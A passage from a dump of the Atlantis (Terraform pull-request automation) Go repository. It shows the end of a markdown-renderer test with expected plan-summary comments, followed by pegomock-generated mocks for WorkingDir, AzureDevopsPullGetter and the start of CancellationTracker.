$projectname2$ dir: $path3$ workspace: $workspace$ $$$diff terraform-output3 $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path3 -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url3) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path3 -w workspace $$$ --- ### Plan Summary 3 projects, 2 with changes, 1 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "multiple successful plans, hide unchanged plans, all plans are unchanged", command.Plan, "", []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "No changes. Infrastructure is up-to-date.", LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "No changes. Infrastructure is up-to-date.", LockURL: "lock-url2", ApplyCmd: "atlantis apply -d path2 -w workspace", RePlanCmd: "atlantis plan -d path2 -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path3", ProjectName: "projectname2", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "No changes. Infrastructure is up-to-date.", LockURL: "lock-url3", ApplyCmd: "atlantis apply -d path3 -w workspace", RePlanCmd: "atlantis plan -d path3 -w workspace", }, }, }, }, models.Github, ` Ran Plan for 3 projects: 1. dir: $path$ workspace: $workspace$ 1. project: $projectname$ dir: $path2$ workspace: $workspace$ 1. project: $projectname2$ dir: $path3$ workspace: $workspace$ --- ### Plan Summary 3 projects, 0 with changes, 3 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, } r := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName true, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) for _, c := range cases { t.Run(c.Description, func(t *testing.T) { ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: c.VCSHost, }, }, }, } res := command.Result{ ProjectResults: c.ProjectResults, } for _, verbose := range []bool{true, false} { t.Run(c.Description, func(t *testing.T) { cmd := &events.CommentCommand{ Name: c.Command, SubName: c.SubCommand, Verbose: verbose, } s := r.Render(ctx, res, cmd) if !verbose { Equals(t, normalize(c.Expected), normalize(s)) } else { log := fmt.Sprintf("[INFO] %s", logText) Equals(t, normalize(c.Expected)+ fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log), normalize(s)) } }) } }) } } ================================================ FILE: server/events/mock_workingdir_test.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: WorkingDir) package events import ( pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockWorkingDir struct { fail func(message string, callerSkip ...int) } func NewMockWorkingDir(options ...pegomock.Option) *MockWorkingDir { mock := &MockWorkingDir{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockWorkingDir) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockWorkingDir) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, headRepo, p, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("Clone", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockWorkingDir) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, r, p} _result := pegomock.GetGenericMockFrom(mock).Invoke("Delete", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockWorkingDir) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, r, p, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("DeleteForWorkspace", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockWorkingDir) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, r, p, workspace, path, projectName} _result := pegomock.GetGenericMockFrom(mock).Invoke("DeletePlan", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockWorkingDir) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) ([]string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, r, p, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetGitUntrackedFiles", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockWorkingDir) GetPullDir(r models.Repo, p models.PullRequest) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{r, p} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullDir", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{r, p, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetWorkingDir", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockWorkingDir) HasDiverged(logger logging.SimpleLogging, cloneDir string) bool { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, cloneDir} _result := pegomock.GetGenericMockFrom(mock).Invoke("HasDiverged", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) var _ret0 bool if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(bool) } } return _ret0 } func (mock *MockWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (bool, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, headRepo, p, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("MergeAgain", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 bool var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(bool) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockWorkingDir) GitReadLock(r models.Repo, p models.PullRequest, workspace string) func() { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{r, p, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("GitReadLock", _params, []reflect.Type{reflect.TypeOf((*func())(nil)).Elem()}) var _ret0 func() if len(_result) != 0 && _result[0] != nil { _ret0 = _result[0].(func()) } if _ret0 == nil { _ret0 = func() {} } return _ret0 } func (mock *MockWorkingDir) VerifyWasCalledOnce() *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockWorkingDir) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockWorkingDir) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockWorkingDir) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockWorkingDir struct { mock *MockWorkingDir invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_Clone_OngoingVerification { _params := []pegomock.Param{logger, headRepo, p, workspace} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Clone", _params, verifier.timeout) return &MockWorkingDir_Clone_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_Clone_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_Clone_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { logger, headRepo, p, workspace := c.GetAllCapturedArguments() return logger[len(logger)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1] } func (c *MockWorkingDir_Clone_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } } return } func (verifier *VerifierMockWorkingDir) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) *MockWorkingDir_Delete_OngoingVerification { _params := []pegomock.Param{logger, r, p} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Delete", _params, verifier.timeout) return &MockWorkingDir_Delete_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_Delete_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_Delete_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { logger, r, p := c.GetAllCapturedArguments() return logger[len(logger)-1], r[len(r)-1], p[len(p)-1] } func (c *MockWorkingDir_Delete_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } } return } func (verifier *VerifierMockWorkingDir) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_DeleteForWorkspace_OngoingVerification { _params := []pegomock.Param{logger, r, p, workspace} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeleteForWorkspace", _params, verifier.timeout) return &MockWorkingDir_DeleteForWorkspace_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_DeleteForWorkspace_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { logger, r, p, workspace := c.GetAllCapturedArguments() return logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] } func (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } } return } func (verifier *VerifierMockWorkingDir) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) *MockWorkingDir_DeletePlan_OngoingVerification { _params := []pegomock.Param{logger, r, p, workspace, path, projectName} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeletePlan", _params, verifier.timeout) return &MockWorkingDir_DeletePlan_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_DeletePlan_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_DeletePlan_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string, string, string) { logger, r, p, workspace, path, projectName := c.GetAllCapturedArguments() return logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1], path[len(path)-1], projectName[len(projectName)-1] } func (c *MockWorkingDir_DeletePlan_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string, _param4 []string, _param5 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(string) } } if len(_params) > 5 { _param5 = make([]string, len(c.methodInvocations)) for u, param := range _params[5] { _param5[u] = param.(string) } } } return } func (verifier *VerifierMockWorkingDir) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification { _params := []pegomock.Param{logger, r, p, workspace} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetGitUntrackedFiles", _params, verifier.timeout) return &MockWorkingDir_GetGitUntrackedFiles_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_GetGitUntrackedFiles_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { logger, r, p, workspace := c.GetAllCapturedArguments() return logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] } func (c *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } } return } func (verifier *VerifierMockWorkingDir) GetPullDir(r models.Repo, p models.PullRequest) *MockWorkingDir_GetPullDir_OngoingVerification { _params := []pegomock.Param{r, p} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullDir", _params, verifier.timeout) return &MockWorkingDir_GetPullDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_GetPullDir_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_GetPullDir_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest) { r, p := c.GetAllCapturedArguments() return r[len(r)-1], p[len(p)-1] } func (c *MockWorkingDir_GetPullDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.Repo) } } if len(_params) > 1 { _param1 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.PullRequest) } } } return } func (verifier *VerifierMockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetWorkingDir_OngoingVerification { _params := []pegomock.Param{r, p, workspace} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetWorkingDir", _params, verifier.timeout) return &MockWorkingDir_GetWorkingDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_GetWorkingDir_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest, string) { r, p, workspace := c.GetAllCapturedArguments() return r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] } func (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest, _param2 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.Repo) } } if len(_params) > 1 { _param1 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.PullRequest) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } } return } func (verifier *VerifierMockWorkingDir) HasDiverged(logger logging.SimpleLogging, cloneDir string) *MockWorkingDir_HasDiverged_OngoingVerification { _params := []pegomock.Param{logger, cloneDir} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "HasDiverged", _params, verifier.timeout) return &MockWorkingDir_HasDiverged_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_HasDiverged_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_HasDiverged_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string) { logger, cloneDir := c.GetAllCapturedArguments() return logger[len(logger)-1], cloneDir[len(cloneDir)-1] } func (c *MockWorkingDir_HasDiverged_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } } return } func (verifier *VerifierMockWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_MergeAgain_OngoingVerification { _params := []pegomock.Param{logger, headRepo, p, workspace} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "MergeAgain", _params, verifier.timeout) return &MockWorkingDir_MergeAgain_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_MergeAgain_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_MergeAgain_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { logger, headRepo, p, workspace := c.GetAllCapturedArguments() return logger[len(logger)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1] } func (c *MockWorkingDir_MergeAgain_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } } return } ================================================ FILE: server/events/mocks/mock_azuredevops_pull_getter.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: AzureDevopsPullGetter) package mocks import ( azuredevops "github.com/drmaxgit/go-azuredevops/azuredevops" pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockAzureDevopsPullGetter struct { fail func(message string, callerSkip ...int) } func NewMockAzureDevopsPullGetter(options ...pegomock.Option) *MockAzureDevopsPullGetter { mock := &MockAzureDevopsPullGetter{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockAzureDevopsPullGetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockAzureDevopsPullGetter) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockAzureDevopsPullGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*azuredevops.GitPullRequest, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockAzureDevopsPullGetter().") } _params := []pegomock.Param{logger, repo, pullNum} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullRequest", _params, []reflect.Type{reflect.TypeOf((**azuredevops.GitPullRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 *azuredevops.GitPullRequest var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(*azuredevops.GitPullRequest) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockAzureDevopsPullGetter) VerifyWasCalledOnce() *VerifierMockAzureDevopsPullGetter { return &VerifierMockAzureDevopsPullGetter{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockAzureDevopsPullGetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockAzureDevopsPullGetter { return &VerifierMockAzureDevopsPullGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockAzureDevopsPullGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockAzureDevopsPullGetter { return &VerifierMockAzureDevopsPullGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockAzureDevopsPullGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockAzureDevopsPullGetter { return &VerifierMockAzureDevopsPullGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockAzureDevopsPullGetter struct { mock *MockAzureDevopsPullGetter invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockAzureDevopsPullGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) *MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification { _params := []pegomock.Param{logger, repo, pullNum} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullRequest", _params, verifier.timeout) return &MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification struct { mock *MockAzureDevopsPullGetter methodInvocations []pegomock.MethodInvocation } func (c *MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int) { logger, repo, pullNum := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1] } func (c *MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]int, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(int) } } } return } ================================================ FILE: server/events/mocks/mock_cancellation_tracker.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: CancellationTracker) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" "reflect" "time" ) type MockCancellationTracker struct { fail func(message string, callerSkip ...int) } func NewMockCancellationTracker(options ...pegomock.Option) *MockCancellationTracker { mock := &MockCancellationTracker{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockCancellationTracker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockCancellationTracker) FailHandler() pegomock.FailHandler { return mock.fail } func 